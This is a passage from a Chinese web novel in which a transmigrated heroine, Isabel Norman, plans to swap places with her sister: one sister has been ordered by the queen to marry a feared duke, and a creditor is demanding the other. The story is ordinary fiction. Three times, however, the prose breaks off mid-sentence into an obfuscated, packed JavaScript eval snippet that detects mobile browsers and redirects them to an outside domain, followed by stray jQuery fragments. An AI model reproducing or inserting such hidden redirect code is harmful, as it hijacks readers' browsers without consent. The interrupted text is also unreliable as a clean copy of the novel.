《十九世纪换嫁情缘》 1. 第 1 章 有钱的单身汉总要娶一位太太，这是举世公认的真理。 在穿入《镀金牢笼》这本小说之前，许莉莎读过这句话——出自简·奥斯汀笔下。 此时此刻，作为伊莎贝尔·诺曼的她，正亲眼见证它的应验。 “亲爱的诺曼爵士、诺曼夫人、以及可爱的奥黛丽·诺曼小姐，还请贵府在下个月的第二周做好迎接斯宾塞公爵的准备。秉承教皇的美意与女王陛下的关怀，我敢断定这将是一桩美满的婚姻，更会为贵府增添荣光。” 庄园外，女王的使者——一位鹰钩鼻银发绅士高抬着下巴，以高贵的首都腔调一口气交代完事项，并穿插华丽的词藻歌功颂德，才终于向诺曼家的众人躬身行礼。 “诸位，期待下一次的相见。” 在他身后，身穿皇家制服的礼仪兵整齐划一摘帽敬礼。 “再见，贾维斯爵士，向女王问好。”诺曼家族众人回以标准的礼节。恭送鹰钩鼻坐上马车，绝尘而去。 马车溅起的尘土尚未消散，父亲爱德华·诺曼白眼一翻，“嗷”的一嗓子昏过去，诺曼夫人和管家仆人手忙脚乱搀扶。 “欧，爱德华，振作点！”诺曼夫人轻拍爱德华的脸。 “亲爱的，我无法振作。”爱德华泪水涟涟，向站在一旁的奥黛丽·诺曼招手，“奥蒂，我的甜心，我敢打赌整个锡兰公国不会有比你更单纯善良的孩子，女王怎么就选中你嫁给斯宾塞公爵！” 听到这句话，众人悲上心头，奥黛丽也跟着哭了起来，“爸爸……” 诺曼夫人鼻子一酸：“别这么残忍，爱德华，别再提醒我要失去一个宝贝女儿。” 奥黛丽扑进母亲怀里：“妈妈……” 管家与仆人也纷纷落泪，众人哭成一团，除了……伊莎贝尔·诺曼。 揉了揉被哭声震痛的耳朵，伊莎贝尔轻摇羽毛扇，冰蓝色的眼眸里划过笑意。 唉，真是水做的一家子。 穿越前，许莉莎是个世俗意义上的天才，博学多识，年少成名，致力于在各个领域闯出一番事业。在她的处事逻辑里，只要有智慧，就没有什么难关是闯不过去的。 自从穿入书中，成为诺曼家族的大女儿伊莎贝尔。从小到大的二十几年里，她见证了另一种处世哲学：小事小哭，大事大哭，天大的难事哭完洗洗睡。 正如现在，女王赐婚，要将奥黛丽嫁进斯宾塞公爵府，就属于天大的难事。 诺曼家族是锡兰公国的落魄贵族。爱德华·诺曼继承了先辈的男爵头衔，却凭着出色的能力将财产挥霍一空，现在只剩破落架子，勉强能蹭一张上流舞会的入场券。 然而斯宾塞家族却是名副其实的大贵族，其祖上的荣耀与财产不仅延续至今，现任家主海因里希·斯宾塞还牢牢掌握着实权，是锡兰公国七大选帝侯之一。 按常理来讲，能嫁入斯宾塞公爵府，对于普通家族来说是做梦都不敢想的美事。可坏就坏在，海因里希本人有一个极其恶劣的传闻——克妻。 到目前为止，年轻英俊且实权在握的公爵，已经有四位未婚妻暴毙而亡，且都是出身高贵的年轻女士。 能攀附权贵当然好，但如果要夺走女儿性命，大部分体面的绅士还是不愿意这么做。当然，有个别境况堪忧的家族，想要剑走偏锋，却也没这个机会。 女王操心年轻公爵的婚事，在公国内部遴选合适的贵族小姐。这份殊荣降临诺曼家族，有人欢喜有人愁。对于爱女儿如命的诺曼夫妇来说，自然是后者。 “欧！可怜的奥蒂，听着，你绝不能嫁给斯宾塞公爵，否则会被厄运牵连！” 不远处，突然有马车飞驰而来，一位穿着宝蓝色克里诺林裙、头戴蕾丝宽边帽子、身形丰满的女士还没下车，就边哭边嚷嚷起来。 这是诺曼夫人最小的妹妹，安娜·卡文。 “安娜姨妈。”奥黛丽擦了擦眼泪，向安娜行淑女礼。 安娜亲吻奥黛丽的脸颊：“可怜的孩子。” 诺曼夫人搀扶着爱德华进屋休息，一面叹气：“安娜，亲爱的妹妹，原谅我不能妥善接待你。实际上，厄运已经降临在我们头顶，女王和教皇的共同赐婚，我们无法抵抗。” “不不不，简妮，好姐姐，如果你知道斯宾塞家族多么恐怖，你绝不忍心把奥蒂推进火坑！即便是上帝赐婚！” 安娜姨妈热得气喘吁吁，跟在诺曼夫人身后走进客厅，一屁股坐在沙发上，其中的弹簧不堪重负，发出令人牙酸的咯吱声。 女仆上前帮她解开帽子，又送上红茶和点心：“安娜夫人，请慢用。” “唔，好姑娘，还是我最爱的味道。”安娜迫不及待给司康饼抹上果酱，大快朵颐，吃得噎住了，赶紧喝上一口红茶，等到终于填饱肚子，才继续高谈阔论，“我在汉克郡认识一个吉普赛女人，她有极其厉害的占卜术，还曾拜访过斯宾塞公爵的查尔维斯庄园。她说公爵的未婚妻接连病死，都是因为诅咒！” 诺曼夫人，也就是简妮·卡文，一脸不可置信，“诅咒？” “是的，就是诅咒！这一代的斯宾塞公爵曾在海洋军队服役，听说他当年和赫斯兰公国作战时，手段非常残忍，是个人尽皆知的暴脾气！”安娜在胸前画十字，神秘兮兮说，“吉普赛女人告诉我，公爵因为杀孽太多，曾被魔鬼附体，退役后生了一场大病，差点死掉。当地的牧师过去探望，竟然被发病的公爵掐死！” “什么？！上帝啊！”简妮和爱德华对视一脸，难掩脸上的震惊。 奥黛丽害怕得缩了缩身子，握住伊莎贝尔的手。后者的脸上却十分平静。 “所以，姨妈是想说，他未婚妻的死亡，就是因为魔鬼的诅咒！奥黛丽嫁过去也一定会步那些可怜女孩的后尘？”伊莎贝尔摇着扇子，笑容淡淡。 “正是这样，聪明女孩！”安娜点头，看着伊莎贝尔，脸上浮现不悦，“但是你的表情……这不该是一个同情妹妹命运的姐姐应该有的表现，亲爱的贝拉。” “谢谢姨妈的提醒，但是……”伊莎贝尔耸耸肩，“与其相信吉普赛女人的谬论，不如相信爸爸眼光独到，投资的铁路一夜翻红，赚够两万锡兰币。你说呢姨妈？” 安娜老脸一红，赶忙借着喝茶掩饰。 爱德华听了，再次掩面嘤嘤哭泣：“呜呜呜……” 母亲简妮不赞同女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15902038|176683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿的辛辣的幽默，嗔了一眼，“贝拉，你爸爸已经够伤心了。” 唯独奥黛丽噗嗤笑出声，悄悄捏了捏姐姐的手，伊莎贝尔回以微笑，替妹妹擦干眼泪。 不过，玩笑归玩笑，大家却知道伊莎贝尔说的话一向没有大错。 诺曼家族现在一贫如洗，就是因为爱德华禁不起安娜的劝说，投资了埃尔美联邦的铁路贸易。 当时安娜声称自己的丈夫——一位靠着嘴皮子娶到乡绅幺女的商人有可靠的投资路径，于是撺掇着姐姐姐夫一家共同发财。彼时，诺曼家只剩最后那点留给女儿的嫁妆。向来懦弱的男爵好不容易鼓起勇气，想搏一搏，赚回以往经营不善亏空的钱，结果赔得精光不说，还欠下巨款。安娜那个不靠谱的丈夫，在得知血本无归后卷了家产逃跑，至今没有踪迹。 安娜作为始作俑者，听到旧事重提，当然惭愧。然而一家子糯米团里，没人愿意责怪她，除了狠心的伊莎贝尔。 其实伊莎贝尔很少插手诺曼家族的一切事务，大多任由其发展。其一是因为，对她而言，这只是一本书。其二是因为，她穿越之前没仔细看，连主角是谁都不知道，只记得小说梗概。 过腻了上辈子的精英人生，躺平感受十九世纪西方日常挺好的。 不过，伊莎贝尔也不确定究竟是不是十九世纪。 小说是架空背景，锡兰公国在现实世界并不存在。这里的风土人情类似英国，但历史背景又类似德法。譬如帝国上层还存在选帝侯制度，国与国之间时常有战争。身为破落贵族的女儿，伊莎贝尔能接触的场合有限，只能凭借社会风貌判断，现在相当于十九世纪。 如果可以不参与剧情，伊莎贝尔愿意这么悠闲一辈子。诺曼家虽然不富裕，家人却不错，爸爸妈妈妹妹，三个傻白甜，加起来凑不出一个心眼。偶尔有安娜这样的愚蠢姨妈给生活添点乱子。 然而，公爵府婚讯的到来，正式提醒了伊莎贝尔，剧情开始了。 她记得，原书梗概是：两个姐妹因为婚姻天各一方，各自陷入悲惨命运。单纯的妹妹接到女王赐婚，嫁入斯宾塞公爵府。她在外被各种反派刁难，在内被公爵厌弃，最终成为公爵府权力斗争的牺牲品，冻死在某个雪夜。 聪慧的姐姐会因为债务嫁给暴发户，成为装点门面的花瓶。野心勃勃的资本家厌恶她的高傲，等榨干她的利用价值，弃之如敝履。清高的姐姐郁郁寡欢，抵挡不住病魔的侵袭，也于同一个夜晚病逝。 临死前，两姐妹不约而同唱起故事开头的摇篮曲，那是母亲从小在她们耳边唱的歌。远在家乡的父母并没有沾到女婿们的荣光，甚至因为反派们的针对，生活得越发窘迫。收到两个女儿的死讯，爱女如命的夫妻俩彻底绝望，自尽于家中。 结尾就是例行升华，说这本书反映了落后的婚姻制度对女性的压迫，造就时代悲剧等等。 当时她没认真看，穿来以后，身边因为婚姻造就悲剧的姐妹俩多不胜数，伊莎贝尔以为自己只是平平无奇的路人甲。 现在回想，原来她穿越成主角之一，的确快要直面悲剧了。 斯宾塞公爵的婚讯已经到来，暴发户还会远吗？ 2. 第 2 章 愁云笼罩着诺曼庄园，无论多么烦恼，饭还是要吃，觉还是要睡的。正如当下的贵族们，不管内里隐藏多少惊涛骇浪，从外表看，依然要维持风光和体面。餐桌上的红酒牛肉一样都不能少。 吃过晚饭，奥黛丽邀请姐姐在房间里散步。 偌大的城堡依旧如上世纪那般华美，只是旋转楼梯和房梁上的斑驳增添了岁月的痕迹。这座饱受美誉的庄园，曾经是许多游客的向往之地，也时常令诺曼家族感到无上光荣。 此刻的奥黛丽却没有欣赏的心情，她挽着姐姐的手臂，心不在焉，水蓝色的眼睛黯淡无光，连金色的卷毛都耷拉着。 “亲爱的奥蒂，如果你是因为今天的噩耗感到沮丧，那我劝你不必如此。”伊莎贝尔拨了拨妹妹的小卷毛，触感柔软，像她前世养的金渐层小胖咪。 奥黛丽强行挤出一抹笑，“抱歉，贝拉，我的不开心也感染到了你。希望你不要费心想好听的话来安慰我，我们都明白，谁也不能违抗女王的赐婚。” 伊莎贝尔挑眉，盯着她的大眼睛看了一会儿，“不，我没想安慰你。” 奥黛丽眼里闪烁着疑惑：“？” “我只是想说，一个噩耗后面必然还有另一个噩耗，别急着发愁。”伊莎贝尔平静说道。 奥黛丽扯开嘴角：“……真棒的安慰。” “不客气。”伊莎贝尔依然端方地踱步。 沉默片刻，两姐妹一齐笑出声。 奥黛丽擦了擦笑出的眼泪，“亲爱的贝拉，你总是知道怎么逗我开心。” 客厅点燃着烛火，奥黛丽看向伊莎贝尔，蓝眼睛望着蓝眼睛。 不同的是，姐姐的眼睛像海洋般深邃，而妹妹总是笑着，似阳光下璀璨的蓝宝石。 从小到大，姐妹俩就像硬币的正反面，性格迥异，却又相辅相成。 奥黛丽时常觉得，伊莎贝尔是游离于众人之外的，她聪慧博学，敏锐智慧，却从不向外人炫耀。只有从小一起长大的奥黛丽，能窥探出深海的一角——当然，也不是什么好情形。 小时候，伊莎贝尔是个无师自通的天才女孩，最爱干的事情就是在庭院里晒太阳看书。奥黛丽则相反，是个彻头彻尾的小笨蛋，怎么也学不会家庭教师留下的手工作业。连一向温柔的母亲在辅导完后都开始头痛。无奈之下，只能把这个重担抛给伊莎贝尔。 如果以为伊莎贝尔是什么温柔靠谱的大姐姐，那可就大错特错。时年十岁的贝拉姐姐自此有了“专属小家仆”——五岁的小奥蒂。 小跟屁虫的日常是：每天六点醒来，跑到姐姐房间等她睡上三小时懒觉，再送上有点晚的早安吻；帮姐姐端早餐，时常碰倒牛奶但依然坚持不懈；姐姐晒太阳看书的时候，她就乖巧地在一旁拼积木，用泥巴盖房子，并随时等候召唤，帮姐姐端茶倒水。有时候不小心玩累了，睡倒在草坪上，醒来时发现躺在姐姐身边。虽然姐姐脸上充满对脏孩子的嫌弃，却会用手中的书帮她遮阳。每当这个时候，小奥蒂就会忘记所有不开心，第二天依旧待命。 至于家庭作业，奥黛丽完全忘记这回事，反正老师检查的时候，姐姐都会帮她糊弄过去。母亲问起，伊莎贝尔则漫不经心回答：“小奥黛丽女士显然不是学习音乐和烹饪的专家，我看她在泥巴盖房子方面倒有天分。” 母亲简妮忧心忡忡：“如果贵族女孩不掌握几门才艺，将来会被指责没有教养。” “那好极了，你已经有一个注定没教养的女儿，应该不介意多一个。”十岁的伊莎贝尔眼也不眨地调侃妈妈，“至少我会竭尽全力培养奥黛丽女士玩泥巴的才能，让她拥有快乐的童年。” 简妮：“……” 伊莎贝尔没说假话，后来几年里，她教奥黛丽学会很多数算知识，从盖房子到组装机械，一步步发掘自己的兴趣。时下，很少有女性从事这项领域，更遑论是出身贵族的女孩。如果你不精通弹琴或者绘画等才艺，那么即便成为数学天才，也不能在社交舞会上令人高看一眼。 曾经，奥黛丽也为此苦恼，那时伊莎贝尔只是捏着妹妹的小脸，平淡道：“如果钢琴和绘画能让你感到快乐，那么现在学到一点足以应付社交的技艺还不晚。如果只是将它当作标榜身份的工具，博得绅士的喜爱，那我想你大概没有精力再钻研你热爱的领域。” 那天晚上，奥黛丽思考许久。 半夜三更，她抱着枕头钻进姐姐房间，轻声说：“我明白了，亲爱的贝拉。我明白什么才能使我快乐。” ——是坚持自己的热爱，那将会让一生都充盈而富足。 黑暗里，伊莎贝尔只是揉了揉她的小卷毛，似乎并不意外，“恭喜你，小奥蒂。” 奥黛丽抱住伊莎贝尔，依恋地蹭了蹭，“谢谢你，姐姐。” 如果没有那双深邃的蓝眼睛，发现小奥蒂的天分，引领她走上一条特别的路，也许此刻的奥黛丽永远不能体会到真正的热爱。 在逐渐长大的过程中，奥黛丽其实意识到了姐姐的与众不同。 姐姐嘴上将自己归为“没教养”的一类人，可奥黛丽亲眼见过她弹琴的技艺多么娴熟，画功多么精湛。 还有姐姐所传授的知识，许多已经超越这个时代，绝不可能出自家庭教师。 在奥黛丽眼里，姐姐才是真正的天才，而这个天才只会在妹妹面前露出一点儿痕迹，连父母都知之甚少。 每当想到这里，奥黛丽就会有种隐秘的快乐——只有她知道姐姐的秘密，而她也会默契地将这个秘密保守到底。 窗外圆月高悬，照亮奥黛丽漂亮的蓝眼睛，一如此刻。 “如果你再发呆下去，我会拜托安娜姨妈找那位吉普赛女人帮你看看，是不是斯宾塞的诅咒提前生效了。”伊莎贝尔用扇子在奥黛丽眼前晃了晃。 从回忆中抽离，奥黛丽羞赧挠头，想起什么，又垂头丧气： ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15902039|176683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “假如诅咒迟早要降临，请拜托让我在下个月的第二周前就死在家里吧，我不想离开庄园，不想离开爸爸妈妈和你。” 伊莎贝尔眸光划过笑意，“好主意，要是也有厄运选中我，我就能借鉴你的办法了。” “不！贝拉，别说这么不吉利的话！”奥黛丽愿意自嘲，却不想听见姐姐也这么说。 伊莎贝尔伸出臂弯，“不必害怕，奥蒂，该来的总会来，也许……” 突然，一阵急促的敲门声响起，犹如石子掉入平静湖面，整夜的安宁就此告破。 冰蓝色的眼睛划过微光，伊莎贝尔目送着男仆前去开门，轻笑：“也许……就在此刻。” 奥黛丽不安抬眸，“你是说……厄运吗？” 伊莎贝尔没说话，姐妹俩站在二楼俯视着乱成一锅粥的楼下。 被坏消息搅扰得神经敏感的诺曼夫妇，在听到敲门声的下一刻就冲出了卧室。 爱德华头上还戴着滑稽的睡帽，冲男仆喊道：“是谁来了？上帝啊，看在我可怜的神经上，别再让我听见坏消息了！” 男仆维持着开门的姿势，腿肚子哆嗦。直到爱德华连声问了好几句才转身，缓缓举起手。在他身后，一柄短管火枪指着男仆的后脑，十数个穿着鹿皮衣、腰上别着左轮的壮汉缓缓走入。 众人瞳孔剧缩，仆人们惊叫逃跑，诺曼夫妇勉强扶持着对方，战战兢兢问：“你们是什么人？想干什么！这里是诺曼庄园，受锡兰公国律法保护！” 躲在二楼角落里的安娜姨妈吓得脸色煞白，连声画十字：“是强盗吗？这真是太糟了！求上帝保佑！贝拉，奥蒂，快躲回屋子里！” 伊莎贝尔脸上不见害怕，只是拉着奥黛丽退进二楼的画室，透过缝隙观察一楼的情景。 楼下，宽敞的客厅因为壮汉们的涌入变得拥挤，突然，他们如摩西分海般让开一条路，一位年轻的男子缓缓走来。 奥黛丽躲在姐姐身后，水蓝色的眼睛倒映出那张陌生的面孔。 ——这个男人无疑是奥黛丽短短十八年里见过的……最俊美的异性。他五官深邃，皮肤苍白，有着一头银灰色长发，柔亮的发质在昏暗光线下显得无比耀眼。往下看，他穿着雪白高领亚麻衬衫，袖口带有法式铜色扣，外穿双排黑色礼服外套，俨然中产阶级时兴的装扮。只是这份得体与从容，在如此肃穆的气氛里，更显出几分可怖。 “诺曼爵士，好久不见。”他开口。 爱德华的表情彻底凝固，如果不是夫人的支撑，他恐怕会立刻昏倒。 “怀……怀特先生？” 二楼，安娜姨妈差点惊叫出声：“赫尔曼·怀特！那个害我们破产的奸商！怎么是他？！” 姐妹二人对视一眼。 赫尔曼·怀特？ 奥黛丽目光闪烁——原来他叫赫尔曼。 伊莎贝尔眸光微动——果然，另一桩厄运如约而至。 3. 第 3 章 “爵士，请原谅我的贸然到访。”赫尔曼·怀特嗓音冰冷，神情坦然，丝毫没有请求原谅的意思，“你的债务已经到期了，按照合同规定，这座庄园现在归我了。” 眼看壮汉们开始行动，爱德华张开手臂大喊：“不！怀特先生！离还款日还有两个月！你是不是弄错了？” 赫尔曼似乎不想多费口舌，往后招了招手。 一个戴着假发套的绅士立刻上前，从怀里掏出两张纸，“诺曼爵士，我是怀特先生的代理律师，可以叫我查尔斯。这是您于一年前签订的抵押借款合同，欠款两万锡兰币，限六月二十六日连本带利还清。” “两万锡兰币？这不可能！我明明只借了一万！而且还款日期怎么提前了！”爱德华惊呼。 查尔斯律师不紧不慢，递上合同：“上面有您的签字与印章，还有您担保人，威克曼·史蒂芬先生的手印。” 爱德华和二楼的安娜同时怔住。 威克曼·史蒂芬正是安娜那位携款潜逃的丈夫！ “是他……难道是他骗了我！”爱德华难以置信，捏着纸张的手隐隐颤抖。 二楼，安娜姨妈豁然起身，激动地嚷嚷：“姐姐，姐夫！威克曼只是做投资失败，没脸回来，他绝不会坑骗你们！一定是这个无良商人撒谎！” 听见谩骂，壮汉们脸色愠怒，赫尔曼却气定神闲，连眼皮也没抬。 查尔斯律师哂笑，先于诺曼夫妇开口：“是吗夫人？出于律师的良知，我必须告诉你们真相。我的雇主，赫尔曼先生是个出色的商人，早在铁路贸易崩盘前就及时撤资，并对各位合资人尽到提示义务。威克曼先生隐瞒了这个消息，还说服你们抵押借贷，再次加注资金。实际上，他带走了所有的钱，而并不是你们相信的……投资亏空。” 安娜脸色煞白，崩溃大哭，口中喃喃：“不可能……” 爱德华浑身颤抖，一切都明白了。 他盯着借款合同上面通红的印章，神情恍惚。 现在，他不仅是个欠下巨债的穷光蛋，连祖上传下来的庄园也要没了。 泪水在眼眶里打转，即将落下的时候，一只手接过合同，声音轻柔：“爱德华，还没到绝路呢，打起精神来。” 简妮替他擦干眼泪，看向赫尔曼，温和道：“怀特先生，如果你的目的是催债，那么你应该清楚，不久之后，我的女儿将会嫁给斯宾塞公爵。公爵府的结婚聘礼，足够偿还债务。我希望你能宽限一段时间。” 二楼画室内，伊莎贝尔看着母亲，眼带赞赏。一家子糯米团里，总要有人站出来，哪怕是强撑的。 查尔斯看了眼赫尔曼，似乎在斟酌该不该由自己开口。 赫尔曼却突然抬眸，深灰色瞳孔盯着简妮：“贵府卖女儿的价格这么高昂……” 简妮脸色一变，冷声道：“阁下，请你说话放尊重些！” “不，夫人请别误会。”赫尔曼似笑非笑，“我的意思是，既然卖了一个女儿，不妨再卖一个。我所付的价钱，定会让贵府满意。” 话音落地，所有人脸色都变了，除了伊莎贝尔。 二楼，奥黛丽皱眉，轻声问：“他想娶你？贝拉。” 伊莎贝尔摇头，嗓音冷淡：“不，确切的说，他只是想娶一个冠姓诺曼的贵族小姐，无论哪一个。” 奥黛丽疑惑：“有区别吗？” 伊莎贝尔盯着赫尔曼的脸，缓缓笑道：“当然有。” 与此同时，简妮也明白了赫尔曼的真正来意。 他压根不在乎那两万锡兰币，只想借债务逼迫诺曼夫妇把女儿嫁给他，以此跻身上流阶层，成为斯宾塞公爵府的连襟。 “这绝不可能。”简妮勉强克制着怒意，声音柔和坚定，“来自女王的赐婚我们兴许毫无办法，赫尔曼先生如此卑劣的手段却是有目共睹。我们会将债务还清，请你打消娶我女儿的念头！” 爱德华强撑着站起身：“是的！绝无可能！” 闻言，赫尔曼拎出一条丝巾，仔细擦拭手杖，语气不疾不徐，“诺曼先生，诺曼夫人，我想你们误会了什么。” “我来，不是打商量的。”他淡淡道，“而是……通知。” “给你们三天时间考虑，告辞。” 说完，毫不客气地扔掉丝巾，转身离去。 训练有素的壮汉们紧跟其后，鱼贯而出。 查尔斯缀在最后，彬彬有礼摘帽鞠躬，说出的话却叫人愤怒。 “先生、太太。三天后，如果你们的答案令人满意，不仅债务会一笔勾销，还另有丰厚的聘礼送上。如果答案是否定，那么……请做好交接庄园的准备。”说着，查尔斯从口袋里拿出名片，“哦对了，要想打官司的话，可以找鄙人的事务所。” 爱德华接过名片：“能帮我打赢？” 查尔斯走到门口，潇洒回头，露出八颗牙齿：“必输无疑。但阁下非要浪费钱的话，不如给我赚！再会各位！” 爱德华：“……” 大门再次关闭，这一次，诺曼庄园无法回归平静。 爱德华无助地瘫坐在沙发上，此刻的简妮没空管他，急匆匆去了书房。中途路过二楼，见到安娜，她也罕见地失去笑脸。 奥黛丽跟了上去：“妈妈，有什么我可以帮你的吗？” “没有，好孩子，和你姐姐一起去休息。”简妮拎着裙子登楼梯，“我要给你玛丽姨妈写封信。” 奥黛丽和姐姐对视一眼，疑惑：“玛丽姨妈？” 安娜惊讶：“玛丽？！” 简妮瞥了安娜一眼，无奈道：“事到如今，我必须找玛丽帮忙了。谁让我们卡文家只出了这么一个伯爵夫人呢？” 乡绅卡文家的三姐妹：简妮、玛丽和安娜。大姐简妮性情温和，嫁给了当时年轻阳光的爱德华；二姐玛丽聪明锋利，是姐妹中最有智慧的一个，嫁给了很有名望的克劳伦伯爵；小妹安娜热情憨直，被威克曼蒙骗，如今最为潦倒，靠着姐姐们的接济度日。 安娜自小与二姐玛丽不和，长大后因为种种矛盾闹掰了。其中之一是玛丽曾经告诫过她，不要轻信威克曼，安娜不听，还大吵一架。姐妹俩就此断联。 现在事态紧急，简妮顾不上安娜的情绪，连夜派人去送信。 诺曼庄园离克劳伦伯爵的领地很远，一来一回，起码要两日。 诺曼家众人一连两天，食不知味，爱德华更是一病不起。 就在简妮坐立不安时，门外响起马车声。 很快，一位身穿深紫色克里诺林裙、头戴蕾丝宽檐羽饰礼帽、神态端庄的妇人走了进来，她的五官与母亲简妮有六分相似，但气质更加凌厉。 “玛丽！亲爱的！你不知道我多想见到你！”简妮与玛丽行贴面礼，紧紧攥着她的手，热泪盈眶。 “亲爱的简妮，收到你的信，我一刻也不敢耽搁。”玛丽也流露出几分动容，视线在接触到瑟缩的安娜时，她突然冷笑，“好久不见，安娜。我时常好奇蠢人会做出怎样令人惊叹的蠢事，而你实属其中的佼佼者！让那个油嘴滑舌的男人骗光自己的嫁妆不说，还将这等福分带给简妮，害得她连女儿都要赔出去！” 安娜被一连串的话语抨击得抬不起头。 简妮拍拍玛丽的手：“好了，别再说她了。这件事，爱德华和我都有错。我们早该听你的话，对一切恶意有所防备。” 玛丽叹息摇头：“是的简妮，你早该醒悟，你们无底线的善良只会助长某些人的坏心。” 老姐妹俩携手坐下，伊莎贝尔与奥黛丽适时下楼打招呼，“玛丽姨妈。” “贝拉，奥蒂。”玛丽分别贴了两个姑娘的脸，又拉着奥黛丽的手，看向简妮，“不过……姐姐，有一件事情，我也有责任。” 简妮：“什么？” 玛丽皱眉道：“去年社交季，奥蒂来我那参加舞会，女王使臣贾维斯爵士也在。他就是那时挑中可怜的奥蒂，怪我不该带她去露脸。” 闻言，众人都沉默了一会儿。 简妮小心翼翼道：“玛丽，奥蒂的才艺实在算不上出众，应该不会引起贾维斯爵士的注意。” 奥黛丽脸色微红。 “不出众”都算保守了，可以说是力争下游。 伊莎贝尔轻摇羽扇，轻笑出声：“也许，对方要的就是一位‘不出众’的女士呢？” “姐姐，你是说，女王特意为斯宾塞公爵挑选不出众的伴侣？”奥黛丽眼神疑惑。 简妮皱眉，陷入深思。 玛丽向伊莎贝尔投以赞赏的眼神，为奥黛丽答疑解惑：“这不是女王的授意，而是斯宾塞公爵府内部出了问题。据我所知，公爵有个弟弟曾经争夺过继承权，他们的关系并不和谐。由此可知，大约是公爵弟弟买通贾维斯，特意为哥哥挑选一位门户不显，才艺不佳，又生性单纯的贵族小姐。” 说完，玛丽又赶紧道：“当然，我们眼里的奥蒂乖巧可爱，绝不是他们想象得那么不堪！” 奥黛丽温和道：“没关系，姨妈。” “一点儿没错。”她垂着头，金色小卷毛遮住长长的眼睫，笑容有些伤感：“我确实不明白复杂的弯弯绕绕，这就是他们选我的目的。” 闻言，众女士再次陷入安静。 简妮用帕子捂着嘴，憋住哭声：“哦，我可怜的奥蒂。之前那四位枉死的未婚妻，恐怕不是意外，而是……而是他们的诡计！” “天哪！那奥蒂过去岂不是羊入虎口！”安娜抱住最疼爱的小外甥女，也哭了起来：“真的没有办法了吗？” 玛丽偏过头，忍泪：“女王钦点，改变不了。我唯一能做的，是尽快筹钱帮你们偿还债务，至少救下贝拉。” “噢，上帝啊。别说短时间筹集两万锡兰币多么困难，就算有，那个来自埃尔美联邦的魔鬼也一定不会罢休！他就是想娶贝拉！” 提到另一桩难事，简妮又是一阵心绞痛。她握住伊莎贝尔的手，泪水涟涟。 大女儿自小就独立，和夫妻俩的关系并不像小女儿那般亲昵。可是朝夕相处二十年，简妮深刻地感知到，贝拉心里的坚冰在慢慢融化。她敏锐智慧的大女儿，绝不能掉入那个利欲熏心的商人手里！ 几位女士愁云惨淡，伊莎贝尔扶住简妮，喂她喝了点药，忽然道：“我有一个办法，可以同时解决两个危机。” 此话犹如惊雷，众女齐齐投来目光。 奥黛丽向来知道姐姐的聪明，赶忙问：“是什么？” 伊莎贝尔将女王赐婚的卷轴举起，看向奥黛丽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15902040|176683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，轻声道：“亲爱的，我们交换吧。” “交换？！”几人异口同声。 “不，这绝不可能！”奥黛丽率先摇头，水蓝色的眼睛起了雾，“斯宾塞公爵府不是什么好去处！你去了，是替我送死！” 伊莎贝尔静静望着奥黛丽。 如果她不插手，原书里可怜的奥黛丽的确会惨死公爵府。 这个她看着长大的小生命，会哭会笑爱当跟屁虫的小姑娘，会在某个冬夜走向生命终点，那时，她才二十岁。 伊莎贝尔深吸一口气，再抬眸，眼底笑容清浅。 她拍了拍奥黛丽的脑袋，平静道：“单纯的小羊羔进入龙潭虎穴，没有活路。但……你认为你的姐姐，伊莎贝尔·诺曼，是和你一样的小羊羔吗？” “当然不……”奥黛丽怔住，“可是……可是……” “没有可是，这是唯一的解法。”伊莎贝尔看着妹妹，说的话却是给大家听，“赫尔曼要的只是上流社会的门票，只要我们与斯宾塞公爵府的姻亲不断，他对我们就留有余地。关键还是在于斯宾塞家的形势。” “奥蒂，换句话说，我们性命相连。”伊莎贝尔轻笑，“假如你执意要去公爵府，那么你有把握站稳脚跟吗？如果你出现意外，那我在赫尔曼家势必也受影响。你明白了吗？” 奥黛丽沮丧垂头，三位卡文女士也陷入沉思。 良久，玛丽叹道：“没错，我在克劳伦伯爵府待了这么多年，最明白里面的复杂状况。而斯宾塞公爵府只会比我所经历得更加诡谲。如果奥蒂去，恐怕下场不会比前几位未婚妻好多少。但是，贝拉不同……” 玛丽姨妈凝视着伊莎贝尔，如出一辙的蓝眼睛里饱含情意：“亲爱的，你比我亲生的孩子更像我，不仅是外貌，还有性情。我相信你有非凡的头脑，能够应对那些敌人。” “是的，我可以。”伊莎贝尔笑着说。 一个大胆的谋划，就在五位女士的密谈中诞生。 用伊莎贝尔换奥黛丽，对于简妮来说手心手背都是肉，一样的担忧与痛心。所以关于后续的谋划，基本由玛丽和伊莎贝尔讨论完善。 期间，安娜提出反对，叫嚷道：“我还是觉得这太冒险了！女王的手谕上清楚明白地写着，赐婚奥黛丽·诺曼！如果一旦有人揭发，我们都要被送上绞刑架！” 